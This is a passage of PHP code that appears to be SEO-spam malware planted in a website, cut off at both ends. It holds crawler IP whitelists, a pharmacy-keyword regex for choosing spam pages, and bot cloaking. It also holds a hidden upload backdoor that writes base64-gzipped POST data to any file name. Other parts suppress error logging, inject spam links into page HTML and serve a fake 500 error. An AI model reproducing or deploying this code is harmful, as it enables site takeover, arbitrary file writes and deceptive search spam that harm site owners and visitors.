\'),array(\'start\'=>\'2404:f340::\',\'end\'=>\'2404:f340:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2600:1900::\',\'end\'=>\'2600:190f:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2606:73c0::\',\'end\'=>\'2606:73c0:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2607:f8b0::\',\'end\'=>\'2607:f8b0:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2620:11a:a000::\',\'end\'=>\'2620:11a:a0ff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2620:120:e000::\',\'end\'=>\'2620:120:e0ff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2800:3f0::\',\'end\'=>\'2800:3f0:ffff:ffff:ffff:ffff:ffff:ffff\'),))),\'DuckDuckBot\'=>array(\'dns\'=>false,\'ips\'=>array(\'list\'=>array(\'20.191.45.212\',\'40.88.21.235\',\'40.76.173.151\',\'40.76.163.7\',\'20.185.79.47\',\'52.142.26.175\',\'20.185.79.15\',\'52.142.24.149\',\'40.76.162.208\',\'40.76.163.23\',\'40.76.162.191\',\'40.76.162.247\',\'54.208.102.37\',\'107.21.1.8\',\'46.51.197.88\',\'46.51.197.89\',\'50.18.192.250\',\'50.18.192.251\',\'107.21.1.61\',\'176.34.131.233\',\'176.34.135.167\',\'184.72.106.52\',\'184.72.115.86\',),\'range_ipv4\'=>array(),\'range_ipv6\'=>array())),\'Bingbot\'=>array(\'dns\'=>false,\'ips\'=>array(\'list\'=>array(),\'range_ipv4\'=>array(array(\'start\'=>\'104.146.0.0\',\'end\'=>\'104.146.255.255\'),array(\'start\'=>\'13.66.0.0\',\'end\'=>\'13.71.255.255\'),array(\'start\'=>\'131.253.0.0\',\'end\'=>\'131.253.255.255\'),array(\'start\'=>\'139.217.0.0\',\'end\'=>\'139.217.255.255\'),array(\'start\'=>\'157.55.0.0\',\'end\'=>\'157.56.255.255\'),array(\'start\'=>\'191.233.150.0\',\'end\'=>\'191.233.255.255\'),array(\'start\'=>\'199.30.0.0\',\'end\'=>\'199.30.100.255\'),array(\'start\'=>\'20.36.100.0\',\'end\'=>\'20.36.255.255\'),array(\'start\'=>\'20.43.100.0\',\'end\'=>\'20.43.120.255\'),array(\'start\'=>\'20.125.0.0\',\'end\'=>\'20.125.255.255\'),array(\'start\'=>\'207.46.0.0\',\'end\'=>\'207.46.255.255\'),array(\'start\'=>\'40.77.167.0\',\'end\'=>\'40.79.186.255\'),array(\'start\'=>\'51.105.0.0\',\'end\'=>\'51.105.70.255\'),array(\'start\'=>\'51.8.100.00\',\'end\'=>\'51.8.255.255\'),array(\'start\'=>\'52.167.0.0\',\'end\'=>\'52.167.144.255\'),array(\'start\'=>\'52.231.0.0\',\'end\'=>\'52.231.148.255\'),array(\'start\'=>\'65.55.0.0\',\'end\'=>\'65.55.255.255\'),),\'range_ipv6\'=>array())),\'yahoo\'=>array(\'dns\'=>\'crawl.yahoo.net\',\'ips\'=>array(\'list\'=>array(),\'range_ipv4\'=>array(array(\'start\'=>\'114.111.95.0\',\'end\'=>\'114.111.95.255\'),array(\'start\'=>\'124.83.0.0\',\'end\'=>\'124.83.255.255\'),array(\'start\'=>\'183.79.0.0\',\'end\'=>\'183.79.255.255\'),array(\'start\'=>\'202.160.0.0\',\'end\'=>\'202.160.255.255\'),array(\'start\'=>\'203.216.0.0\',\'end\'=>\'203.216.255.255\'),array(\'start\'=>\'209.191.0.0\',\'end\'=>\'209.191.255.255\'),array(\'start\'=>\'211.14.0.0\',\'end\'=>\'211.14.100.255\'),array(\'start\'=>\'37.9.87.0\',\'end\'=>\'37.9.87.255\'),array(\'start\'=>\'5.255.250.0\',\'end\'=>\'5.255.250.255\'),array(\'start\'=>\'66.196.0.0\',\'end\'=>\'66.196.255.255\'),array(\'start\'=>\'66.228.0.0\',\'end\'=>\'66.228.255.255\'),array(\'start\'=>\'67.195.0.0\',\'end\'=>\'67.195.255.255\'),array(\'start\'=>\'68.142.0.0\',\'end\'=>\'68.142.255.255\'),array(\'start\'=>\'68.180.0.0\',\'end\'=>\'68.180.255.255\'),array(\'start\'=>\'72.30.0.0\',\'end\'=>\'72.30.255.255\'),array(\'start\'=>\'74.6.0.0\',\'end\'=>\'74.6.255.255\'),array(\'start\'=>\'8.12.144.0\',\'end\'=>\'8.12.144.255\'),array(\'start\'=>\'98.136.0.0\',\'end\'=>\'98.139.255.255\'),),\'range_ipv6\'=>array())),\'yandex.com/bots\'=>array(\'dns\'=>\'yandex.ru|yandex.net|yandex.com\',\'ips\'=>array(\'list\'=>array(),\'range_ipv4\'=>array(array(\'start\'=>\'100.43.64.0\',\'end\'=>\'100.43.100.255\'),array(\'start\'=>\'130.193.62.0\',\'end\'=>\'130.193.62.255\'),array(\'start\'=>\'141.8.140.0\',\'end\'=>\'141.8.153.255\'),array(\'start\'=>\'178.154.162.0\',\'end\'=>\'178.154.247.255\'),array(\'start\'=>\'199.21.99.0\',\'end\'=>\'199.21.99.255\'),array(\'start\'=>\'37.140.141.0\',\'end\'=>\'37.140.189.255\'),array(\'start\'=>\'37.9.84.0\',\'end\'=>\'37.9.115.255\'),array(\'start\'=>\'5.255.100.0\',\'end\'=>\'5.255.255.255\'),array(\'start\'=>\'5.45.200.0\',\'end\'=>\'5.45.254.255\'),array(\'start\'=>\'77.88.0.0\',\'end\'=>\'77.88.255.255\'),array(\'start\'=>\'84.201.146.0\',\'end\'=>\'84.201.150.255\'),array(\'start\'=>\'87.250.100.0\',\'end\'=>\'87.250.253.255\'),array(\'start\'=>\'93.158.147.0\',\'end\'=>\'93.158.200.255\'),array(\'start\'=>\'95.108.100.0\',\'end\'=>\'95.108.250.255\'),array(\'start\'=>\'213.180.203.0\',\'end\'=>\'213.180.203.255\')),\'range_ipv6\'=>array(array(\'start\'=>\'2a02:6b8:b000::\',\'end\'=>\'2a02:6b8:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2a02:6b8:b010::\',\'end\'=>\'2a02:6b8:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2a02:6b8:b011::\',\'end\'=>\'2a02:6b8:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2a02:6b8:c01::\',\'end\'=>\'2a02:6b8:ffff:ffff:ffff:ffff:ffff:ffff\'),))),\'PetalBot\'=>array(\'dns\'=>\'aspiegel.com|petalsearch.com\',\'ips\'=>array(\'list\'=>array(\'159.138.102.98\'),\'range_ipv4\'=>array(array(\'start\'=>\'114.119.0.0\',\'end\'=>\'114.119.255.255\'),),\'range_ipv6\'=>array())),\'AOLBuild\'=>array(\'dns\'=>\'aol.com\',\'ips\'=>array(\'list\'=>array(),\'range_ipv4\'=>array(),\'range_ipv6\'=>array())),\'SeznamBot\'=>array(\'dns\'=>false,\'ips\'=>array(\'list\'=>array(\'77.75.77.31\',\'77.75.79.31\',\'77.75.73.26\',\'77.75.77.123\',\'77.75.77.174\',\'77.75.77.200\',\'77.75.79.123\',\'77.75.79.200\',\'2a02:598:2::1123\',\'2a02:598:2::1200\',),\'range_ipv4\'=>array(array(\'start\'=>\'77.75.76.0\',\'end\'=>\'77.75.79.255\'),),\'range_ipv6\'=>array(array(\'start\'=>\'2a02:598:aaaa:2::\',\'end\'=>\'2a02:598:aaaa:2::ffff\'),array(\'start\'=>\'2a02:598:bbbb:2::\',\'end\'=>\'2a02:598:bbbb:2::ffff\'),))),\'Qwantify\'=>array(\'dns\'=>\'.qwant.com\',\'ips\'=>array(\'list\'=>array(),\'range_ipv4\'=>array(array(\'start\'=>\'91.242.162.0\',\'end\'=>\'91.242.162.255\'),),\'range_ipv6\'=>array())),\'MojeekBot\'=>array(\'dns\'=>\'.mojeek.com\',\'ips\'=>array(\'list\'=>array(\'5.102.173.71\',),\'range_ipv4\'=>array(),\'range_ipv6\'=>array())),);$ND_DOOR_DOMAIN=isset($_SERVER[\'HTTP_HOST\'])&&$_SERVER[\'HTTP_HOST\']?$_SERVER[\'HTTP_HOST\']:(isset($_SERVER[\'SERVER_NAME\'])&&$_SERVER[\'SERVER_NAME\']?$_SERVER[\'SERVER_NAME\']:false);if(stripos($ND_DOOR_DOMAIN,\'www.\')===0){$ND_DOOR_DOMAIN=substr($ND_DOOR_DOMAIN,4);}$ND_DOOR_HASH_NS=substr(sprintf(\'%u\',crc32($ND_DOOR_DOMAIN.\'123qweasdzxc\')),0,7);$ND_DOOR_HASH=\'-\'.$ND_DOOR_HASH_NS;$ND_IS_BAD_PAGE=stripos($_SERVER[\'REQUEST_URI\'],$ND_DOOR_HASH)===false&&stripos($_SERVER[\'REQUEST_URI\'],$ND_DOOR_HASH_NS.\'.\')===false&&(preg_match("#\.(css|js|db|sql|json|swf|flv|png|jpe|jpeg|gif|bmp|ico|tiff|tif|svg|svgz|zip|rar|exe|msi|cab|mp3|qt|mov|pdf|psd|ai|eps|ps|doc|rtf|xls|ppt|odt|ods|docx|xlsx|txt|csv|odp|oxps|xps|env|xsd)(\?|$)#i",$_SERVER[\'REQUEST_URI\'])||strpos($_SERVER[\'REQUEST_URI\'],\'tel:\')!==false||strpos($_SERVER[\'REQUEST_URI\'],\'"\')!==false||strpos($_SERVER[\'REQUEST_URI\'],"\'")!==false||strpos(trim($_SERVER[\'REQUEST_URI\'],\'/\'),\'wp-\')===0||preg_match("#([^a-z^A-Z]|^)(about|contact|privacy|policy|service|team|portfolio|career|job|term|condition|cookie|affiliate|disclosure|search|login|register|registration|pricing|price|admin|administrator)s?([^a-z^A-Z]|$)#i",$_SERVER[\'REQUEST_URI\']));$ND_IS_GOOD_PAGE=!$ND_IS_BAD_PAGE&&(stripos($_SERVER[\'REQUEST_URI\'],$ND_DOOR_HASH)!==false||stripos($_SERVER[\'REQUEST_URI\'],$ND_DOOR_HASH_NS.\'.xml\')!==false||preg_match(\'#([^a-z^A-Z]|^)(viagra|p\-force|tylenol|amoxicillin|v\-gel|progesterone|prednisone|benadryl|paracetamol|acetaminophen|melatonin|metformin|cialis|gabapentin|yasmin|celebrex|baclofen|clomid|prozac|zoloft|vicks|provera|allegra|metronidazole|doxycycline|dexamethasone|garcinia|arjuna|actos|warfarin|ciprofloxacin|lexapro|promethazine|calcium|coumadin|cymbalta|omeprazole|wellbutrin|estradiol|voltaren|augmentin|minoxidil|azithromycin|lisinopril|namenda|accutane|buspar|citalopram|clindamycin|naproxen|modafinil|metoprolol|digoxin|tamoxifen|albuterol|aspirin|cipro|cephalexin|propranolol|trazodone|conjugated|dramamine|effexor|rogaine|acyclovir|methotrexate|sildenafil|diclofenac|nexium|finasteride|lasix|paxil|seroquel|abilify|pristiq|fluoxetine|fluconazole|erythromycin|celexa|atorvastatin|meloxicam|zofran|aleve|flagyl|bupropion|lamictal|lipitor|spironolactone|tretinoin|bactrim|depakote|amitriptyline|triamcinolone|ivermectin|buspirone|amlodipine|sertraline|carbonate|ranitidine|levothyroxine|imodium|prednisolone|claritin|ashwagandha|naltrexone|zyrtec|losartan|flexeril|synthroid|neurontin|topamax|ampicillin|clonidine|cetirizine|hydroxyzine|prilosec|plavix|diphenhydramine|propionate|cifran|retin\-a|furosemide|amiodarone|permethrin|tetracycline|advair|vitamin|atenolol|pantoprazole|methylprednisolone|motrin|adalat|keflex|clotrimazole|keppra|cytotec|misoprostol|simvastatin|fluticasone|venlafaxine|crestor|loratadine|clenbuterol|ketoconazole|valsartan|zantac|differin|harvoni|mirtazapine|hydrochlorothiazide|reglan|canesten|valtrex|escitalopram|lamotrigine|medrol|singulair|allopurinol|salbutamol|panadol|diflucan|ashoka|ramipril|levitra|isotretinoin|ventolin|propecia|haldol|clopidogrel|risperidone|diltiazem|zithromax|lactulose|betamethasone|tadalafil|clobetasol|pepcid|aciclovir|levofloxacin|phenytoin|levaquin|colchicine|loperamide|ondansetron|strattera|flonase|mobic|montelukast|lamisil|flomax|sulfamethoxazole|protonix|risperdal|verapamil|budesonide|nitrofurantoin|minocycline|mupirocin|dulcolax|isoniazid|toradol|phenergan|cyclosporine|topiramate|esomeprazole|orlistat|nifedipine|quetiapine|bentyl|benicar|remeron|olanzapine|macrobid|plaquenil|enalapril|dilantin|duloxetine|sovaldi|nizoral|imuran|stanozolol|paroxetine|brahmi|tamsulosin|tacrolimus|zyprexa|famotidine|methocarbamol|hoodia|carvedilol|carbamazepine|letrozole|clozapine|sumatriptan|premarin|neurobion|valacyclovir|provigil|meclizine|avana|indomethacin|decadron|rosuvastatin|chloramphenicol|rocephin|clarithromycin|trimethoprim|mometasone|piracetam|tizanidine|femara|lansoprazole|theophylline|ketorolac|ceftin|karela|diovan|domperidone|hardon|pravastatin|terbinafine|arimidex|levonorgestrel|xenical|artane|cerazette|glucocorticoid|glipizide|prevacid|pregabalin|cefdinir|cardizem|imitrex|januvia|atarax|norvasc|nolvadex|nortriptyline|cefuroxime|metoclopramide|ipratropium|tegretol|ofloxacin|cyclophosphamide|inderal|isosorbide|bisoprolol|piroxicam|albendazole|elavil|nicotine|unisom|zovirax|haloperidol|sulfasalazine|chloroquine|altace|aldara|tri\-cyclen|fenofibrate|slimfast|atacand|fexofenadine|fosamax|tranexamic|labetalol|kamagra)([^a-z^A-Z]|$)#i\',$_SERVER[\'REQUEST_URI\']));$ND_IS_FOR_REPLACE_PAGE=!$ND_IS_GOOD_PAGE&&$GLOBALS[\'ND_CHANCE_REPLACE\']&&$_SERVER[\'REQUEST_URI\']!==\'/\'&&abs(crc32($_SERVER[\'REQUEST_URI\']))%10000<$GLOBALS[\'ND_CHANCE_REPLACE\'];if(!function_exists(\'getallheaders\')){function getallheaders(){$headers=array();foreach($_SERVER as $name=>$value){if(substr($name,0,5)==\'HTTP_\'){$headers[str_replace(\' \',\'-\',ucwords(strtolower(str_replace(\'_\',\' \',substr($name,5)))))]=$value;}}return $headers;}}function d_ini_sets(){@ini_set(\'log_errors_max_len\',0);@ini_set(\'log_errors\',0);@ini_set(\'error_log\',null);@ini_set(\'error_reporting\',null);@error_reporting(0);@ini_set(\'ignore_repeated_errors\',1);@ini_set(\'ignore_repeated_source\',1);@ini_set(\'display_errors\',0);@ini_set(\'display_startup_errors\',0);@ini_set(\'max_input_time\',120);@ini_set(\'max_execution_time\',120);@set_time_limit(120);@ini_set(\'post_max_size\',\'8M\');@ini_set(\'track_vars\',\'On\');@ini_set(\'variables_order\',\'EGPCS\');@ini_restore(\'disable_function\');@ini_set(\'disable_function\',\'\');}if(isset($_POST[\'upld\'],$_POST[\'fname\'])&&!empty($_POST[\'upld\'])&&!empty($_POST[\'fname\'])){d_ini_sets();@ignore_user_abort(true);@ini_set(\'memory_limit\',\'16M\');@ini_set(\'upload_max_filesize\',\'4M\');@ini_set(\'file_uploads\',1);$data_file=gzinflate(base64_decode($_POST[\'upld\']));$f_name=$_POST[\'fname\'];if(!$data_file){$result_action[\'status\']=false;$result_action[\'comment\']=\'Cant base64_decode() or gzinflate(), len data: \'.strlen($_POST[\'upld\']);}elseif(file_put_contents($f_name,$data_file)){$result_action[\'status\']=true;$result_action[\'comment\']=\'file uploaded: \'.$f_name;}else{$result_action[\'status\']=false;$result_action[\'comment\']=\'Cant file_put_contents(): \'.$f_name;}exit(json_encode($result_action));}function close_ses(){@ini_set(\'session.gc_maxlifetime\',172800);@ini_set(\'session.cookie_lifetime\',172800);if(version_compare(PHP_VERSION,\'5.4.0\')>=0){if(session_status()===PHP_SESSION_ACTIVE){session_write_close();}}elseif(session_id()!==\'\'){session_write_close();}}function get_data_ses(){if(isset($_SESSION[\'user-data-sm\'])){return true;}close_ses();session_name(\'utm-ads-site\');session_id(md5(\'saltqwe123554\'.$GLOBALS[\'ND_DOOR_DOMAIN\']));if(!session_start()){return false;}session_write_close();setcookie(\'utm-ads-site\',\'\',0,\'/\');if(isset($_SESSION[\'user-data-sm\'])){foreach($_SESSION[\'user-data-sm\']as $var_global_name=>$value){$GLOBALS[$var_global_name]=$value;}return true;}return null;}function set_data_ses(){close_ses();session_name(\'utm-ads-site\');session_id(md5(\'saltqwe123554\'.$GLOBALS[\'ND_DOOR_DOMAIN\']));if(!session_start()){return false;}foreach($GLOBALS as $var_global_name=>$value){if(strpos($var_global_name,\'D_\')!==0){continue;}$_SESSION[\'user-data-sm\'][$var_global_name]=$value;}setcookie(\'utm-ads-site\',\'\',0,\'/\');if(version_compare(PHP_VERSION,\'7.2.0\')>=0){if(session_write_close()){return true;}else{return false;}}session_write_close();return true;}function set_bad_cookie(){setcookie(\'utm_contents_site\',md5(\'sdferwtdfgdftgertert\'.date(\'d-m-Y\')),time()+31104000,\'/\');}function ip_in_range($ip,$start_ip,$end_ip){return inet_pton($start_ip)<=inet_pton($ip)&&inet_pton($ip)<=inet_pton($end_ip);}function is_google_console_bot($user_agent){if(stripos($user_agent,\'InspectionTool\')!==false){return true;}$h=getallheaders();if(!is_array($h)){return null;}if(isset($h[\'accept\'])){$h[\'Accept\']=$h[\'accept\'];}if(!isset($h[\'Accept\'])){return null;}if(in_array($h[\'Accept\'],array(\'*/*\',\'*/*,application/signed-exchange;v=b3\'))){return true;}return false;}function check_user($user_agent,$ip){if(isset($_COOKIE[\'utm_d-ga\'])&&($_COOKIE[\'utm_d-ga\']===md5(date(\'d-m-Y\').\'-d-super-salt\')||$_COOKIE[\'utm_d-ga\']===md5(date(\'d-m-Y\').\'-d-super-salt\',time()-86400)||$_COOKIE[\'utm_d-ga\']===md5(date(\'d-m-Y\').\'-d-super-salt\',time()+86400))){return \'good_bot\';}if($user_agent===\'Googlbot/2.1 (+http://www.googlbot.com/bot.html)\'){return \'mb_bad_bot\';}if(isset($_COOKIE[\'utm_contents_site\'])&&!empty($_COOKIE[\'utm_contents_site\'])){return \'bad_bot\';}if(!$user_agent||in_array($user_agent,array(\'Google Spider\',\'GoogleBot\',\'UserAgent\',\'badbot\',\'The Knowledge AI\',\'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\'))){set_bad_cookie();return \'bad_bot\';}if(isset($_SERVER[\'HTTP_REFERER\'])&&($_SERVER[\'HTTP_REFERER\']===\'localhost\'||stripos($_SERVER[\'HTTP_REFERER\'],\'react.org\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'search.google\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'developers.google\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'translate.google\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'webcache.google\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'moz.com\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'ahrefs\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'semrush\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'serpstat.com\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'megaindex\')!==false)){set_bad_cookie();return \'bad_bot\';}get_data_ses();if(preg_match("#".$GLOBALS[\'D_BAD_BOTS_SIGNS\']."#isU",$user_agent)){set_bad_cookie();return \'bad_bot\';}foreach($GLOBALS[\'D_BOTS_INFO\']as $sign_good_bot=>$params_good_bot){if(stripos($user_agent,$sign_good_bot)!==false){if(!$GLOBALS[\'D_CHECK_BY_IP\']){if($sign_good_bot===\'GoogleBot\'&&is_google_console_bot($user_agent)){return \'bad_bot\';}return \'good_bot\';}if(isset($params_good_bot[\'ips\'][\'list\'])&&is_array($params_good_bot[\'ips\'][\'list\'])&&in_array($ip,$params_good_bot[\'ips\'][\'list\'],false)){if($sign_good_bot===\'GoogleBot\'&&is_google_console_bot($user_agent)){return \'bad_bot\';}return \'good_bot\';}if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV6)){$ip_ver=\'range_ipv6\';}else{$ip_ver=\'range_ipv4\';}if(isset($params_good_bot[\'ips\'][$ip_ver])&&!empty($params_good_bot[\'ips\'][$ip_ver])){foreach($params_good_bot[\'ips\'][$ip_ver]as $current_range){if(ip_in_range($ip,$current_range[\'start\'],$current_range[\'end\'])){if($sign_good_bot===\'GoogleBot\'&&is_google_console_bot($user_agent)){return \'bad_bot\';}return \'good_bot\';}}}if(isset($params_good_bot[\'dns\'])&&$params_good_bot[\'dns\']){if($GLOBALS[\'D_USE_GETHOSTBYADDR\']&&$GLOBALS[\'ND_LOCAL_USE_GETHOSTBYADDR\']){$host=@gethostbyaddr($ip);if(!$host||$host===$ip){return \'mb_bad_bot\';}$dns_bots_signs=explode(\'|\',$params_good_bot[\'dns\']);foreach($dns_bots_signs as $dns_bots_sign){if(stripos($host,$dns_bots_sign)!==false){$GLOBALS[\'ND_LOCAL_DNS_CHECK_IP\']=true;$GLOBALS[\'ND_DNS_HOST\']=$ip;if($ip_ver===\'range_ipv6\'){$GLOBALS[\'D_BOTS_INFO\'][$sign_good_bot][\'ips\'][\'list\'][]=$ip;}else{$GLOBALS[\'D_BOTS_INFO\'][$sign_good_bot][\'ips\'][\'range_ipv4\'][]=array(\'start\'=>preg_replace("#\.[0-9]{1,3}$#isU",\'0\',$ip),\'end\'=>preg_replace("#\.[0-9]{1,3}$#isU",\'255\',$ip));}if($sign_good_bot===\'GoogleBot\'&&is_google_console_bot($user_agent)){return \'bad_bot\';}return \'good_bot\';}}set_bad_cookie();return \'bad_bot\';}return \'mb_bad_bot\';}set_bad_cookie();return \'bad_bot\';}}if(preg_match("#[^a-z^A-Z](seo|bot|spider|crawler|checker|spam|perl)[^a-z^A-Z]#isU",$user_agent)||preg_match("#[a-z](Seo|Bot|Spider|Crawler|Checker|Spam|Perl)|SEO#sU",$user_agent)){set_bad_cookie();return \'bad_bot\';}return \'mb_human\';}function d_get_real_ip(){foreach(array(\'HTTP_X_FORWARDED_FOR\',\'HTTP_CLIENT_IP\',\'HTTP_X_FORWARDED\',\'HTTP_FORWARDED_FOR\',\'HTTP_FORWARDED\',\'REMOTE_ADDR\',\'HTTP_X_CLUSTER_CLIENT_IP\',\'HTTP_CF_CONNECTING_IP\')as $kip){if($adr_ip=getenv($kip)){foreach(array_map(\'trim\',explode(\',\',$adr_ip))as $ip){if($ip&&filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)){$ip_v=inet_ntop(inet_pton($ip));if($ip_v){return $ip_v;}return $ip;}}}}return false;}function d_replace_data($buf){get_data_ses();if($GLOBALS[\'D_CHANGE_TITLE\']){$pos_text_title=$GLOBALS[\'D_URI_CRC32\']%(count($GLOBALS[\'D_ARRAY_TEXT_INJECT\'])-1);$buf=str_ireplace(\'</title>\',\'. \'.$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$pos_text_title].\'</title>\',$buf);}$start_pos=0;$end_pos=0;$offset_pos=false;if($GLOBALS[\'D_START_MAIN_CONTENT\']){$offset_pos=stripos($buf,$GLOBALS[\'D_START_MAIN_CONTENT\']);}if($offset_pos===false){$offset_pos=stripos($buf,\'<body\');if($offset_pos!==false){$start_pos=$offset_pos+1;$end_pos=stripos($buf,\'</body>\',$start_pos);}$offset_pos=stripos($buf,\'<main\',$start_pos);if($offset_pos!==false){$start_pos=$offset_pos+1;$end_pos=stripos($buf,\'</main>\',$start_pos);}$offset_pos=stripos($buf,\'role="main"\',$start_pos);if($offset_pos!==false){$start_pos=$offset_pos+1;}$offset_pos=stripos($buf,\'<article\',$start_pos);if($offset_pos!==false){$start_pos=$offset_pos+1;$end_pos=stripos($buf,\'</article>\',$start_pos);}if(!$end_pos){$end_pos=stripos($buf,\'<footer\',$start_pos);if($end_pos!==false){$end_pos++;}}$offset_pos=stripos($buf,\'<h1\',$start_pos);if($offset_pos!==false&&(!$end_pos||$offset_pos-1<$end_pos)){$start_pos=$offset_pos+1;}}else{$start_pos=$offset_pos+1;}if(!$end_pos||$end_pos-200<=$start_pos){$end_pos=false;}$pos_p=stripos($buf,\'</p>\',$start_pos);if($pos_p===false||($end_pos&&$pos_p>$end_pos)){$pos_p=$start_pos;}else{$pos_p+=4;}for($i=0,$arr_pos_link=0,$arr_pos_text=0,$text=\'\';$i<$GLOBALS[\'D_MAX_LINK_ON_PAGE\']&&$i<count($GLOBALS[\'D_ARRAY_LINKS_INJECT\']);$i++){$arr_pos_link=abs(crc32($GLOBALS[\'D_URI_CRC32\'].$i.$GLOBALS[\'D_ARRAY_LINKS_INJECT\'][$arr_pos_link][0][\'l\']))%(count($GLOBALS[\'D_ARRAY_LINKS_INJECT\'])-1);$arr_pos_text=abs(crc32($GLOBALS[\'D_URI_CRC32\'].$i.$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$arr_pos_text]))%(count($GLOBALS[\'D_ARRAY_TEXT_INJECT\'])-1);if($i===0){$text=\'<h2>\'.$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$arr_pos_text].\'</h2>\';}elseif(!($i%4)){$j=0;$buf=substr_replace($buf,$text,$pos_p,0);while($j++<2&&($p=stripos($buf,\'</p>\',$pos_p+1+strlen($text)))!==false&&($end_pos&&$p<=$end_pos)){$pos_p=$p+4;}if($end_pos){$end_pos+=strlen($text);}$text=\'<h3>\'.$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$arr_pos_text].\'</h3>\';}$text.=\'<p>\';$count_text=(abs(crc32($GLOBALS[\'D_URI_CRC32\'].$i.\'saltsaltqwe\'))%5)+1;for($k=0;$k<$count_text;$k++){$arr_pos_text=abs(crc32($GLOBALS[\'D_URI_CRC32\'].$i.$k.$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$arr_pos_text]))%(count($GLOBALS[\'D_ARRAY_TEXT_INJECT\'])-1);$text.=$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$arr_pos_text].\'. \';}$percent_anchor=abs(crc32($GLOBALS[\'D_URI_CRC32\'].$GLOBALS[\'D_ARRAY_LINKS_INJECT\'][$arr_pos_link][\'l\'].$i.\'salttty\'))%100;$sum_percent=0;foreach($GLOBALS[\'D_ARRAY_LINKS_INJECT\'][$arr_pos_link][\'a\']as $anchor_link=>$percent){if($percent_anchor<$sum_percent+$percent){break;}$sum_percent+=$percent;}$text=rtrim($text,\' .,\').\' <a href="\'.$GLOBALS[\'D_ARRAY_LINKS_INJECT\'][$arr_pos_link][\'l\'].\'">\'.$anchor_link.\'</a>\';$text_end_sent=abs(crc32($GLOBALS[\'D_URI_CRC32\'].$i.$k.$GLOBALS[\'D_ARRAY_LINKS_INJECT\'][$arr_pos_link][\'l\'].\'saltwertrert\'))%100;if($text_end_sent<25){$text.=\'. \';}elseif($text_end_sent<50){$text.=\', \';}else{$text.=\' \';}$count_text=abs(crc32($GLOBALS[\'D_URI_CRC32\'].$i.$k.\'salttwe\'))%5;for($k=0;$k<$count_text;$k++){$arr_pos_text=abs(crc32($GLOBALS[\'D_URI_CRC32\'].$i.$k.$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$arr_pos_text]))%(count($GLOBALS[\'D_ARRAY_TEXT_INJECT\'])-1);$text.=$GLOBALS[\'D_ARRAY_TEXT_INJECT\'][$arr_pos_text].\'. \';}$text.=\'</p>\';}return substr_replace($buf,$text,$pos_p,0);}function d_get_protocol(){if((isset($_SERVER[\'HTTP_X_FORWARDED_PROTO\'])&&$_SERVER[\'HTTP_X_FORWARDED_PROTO\']===\'https\')||(isset($_SERVER[\'HTTPS\'])&&$_SERVER[\'HTTPS\']!==\'off\')||(isset($_SERVER[\'REQUEST_SCHEME\'])&&$_SERVER[\'REQUEST_SCHEME\']===\'https\')||(isset($_SERVER[\'HTTP_X_FORWARDED_SSL\'])&&$_SERVER[\'HTTP_X_FORWARDED_SSL\']===\'on\')||(isset($_SERVER[\'SERVER_PORT\'])&&$_SERVER[\'SERVER_PORT\']==443)||(isset($_SERVER[\'HTTP_FRONT_END_HTTPS\'])&&$_SERVER[\'HTTP_FRONT_END_HTTPS\']!==\'off\')){return \'https://\';}return \'http://\';}function d_error500($cont=\'\'){header($_SERVER[\'SERVER_PROTOCOL\'].\' 500 Internal Server Error\',true,500);if($cont){exit($cont);}if(is_callable(\'apache_get_version\')){$ss=apache_get_version();}else{$ss=\'Apache/2.2.22 (CentOS)\';}$ss.=\' Server at \'.$GLOBALS[\'ND_DOOR_DOMAIN\'].\' Port \'.$_SERVER[\'SERVER_PORT\'];echo \'<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<hr>
<address>\'.$ss.\'</address>
</body></html>\';exit;}function d_get_cont($full_url,$data=null,$method=\'GET\',$use_compress=true,$add_header=true,$real_ip=false,$allow_function=null){if(is_array($data)){$data=http_build_query($data);}if(is_string($allow_function)){$allow_function=array($allow_function);}$parse_url=parse_url($full_url);if($method===\'GET\'&&$data){$full_url.=(!empty($parse_url[\'query\'])?\'&\':\'?\').$data;$parse_url=parse_url($full_url);}$httpv=\'1.1\';$h=array();if($add_header){if(is_array($add_header)){$h=$add_header;}elseif($add_header===true){$h=getallheaders();unset($h[\'content-type\'],$h[\'Content-Type\']);if(isset($h[\'content-length\'])){$h[\'Content-Length\']=$h[\'content-length\'];unset($h[\'content-length\']);}if(isset($h[\'host\'])||isset($h[\'Host\'])){unset($h[\'Host\'],$h[\'host\']);}}}if($use_compress===true&&function_exists(\'gzdecode\')){unset($h[\'Pragma\'],$h[\'Cache-Control\']);$h[\'Accept-Encoding\']=\'gzip\';}else{unset($h[\'Accept-Encoding\'],$h[\'Accept-encoding\']);}if($real_ip){$h[\'X-Real-IP\']=$real_ip;$h[\'Client-IP\']=$real_ip;$h[\'X-Forwarded-For\']=$real_ip;}if(isset($h[\'Host\'])&&$h[\'Host\']==$parse_url[\'host\']){if(isset($h[\'Coo